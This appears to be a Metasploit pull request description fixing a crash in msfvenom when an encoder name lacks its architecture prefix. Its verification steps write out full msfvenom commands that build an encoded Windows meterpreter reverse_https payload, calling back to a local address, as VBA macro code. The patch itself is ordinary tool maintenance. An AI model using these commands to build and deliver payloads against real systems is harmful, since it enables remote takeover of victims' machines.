Fix #4047 - undefined method `rank' due to an invalid encoder name

For issue: https://github.com/rapid7/metasploit-framework/issues/4047


To verify:

- [x] Without the patch, if you do: ```msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.1.33 LPORT=4444 -e shikata_ga_nai -i 3 -f vba```, you should see error: "undefined method `rank' for nil:NilClass"
- [x] With the patch, if you do: ```msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.1.33 LPORT=4444 -e shikata_ga_nai -i 3 -f vba```, it should generate the payload anyway, but notice msfvenom will also say: "**Found 0 compatible encoders**"
- [x] With the patch, if you do ```msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.1.33 LPORT=4444 -e x86/shikata_ga_nai -i 3 -f vba```, it will generate the payload, and notice msfvenom will say: "**Found 1 compatible encoders**"

The difference between step 2 and step 3 is one has x86/shikata_ga_nai, the other doesn't.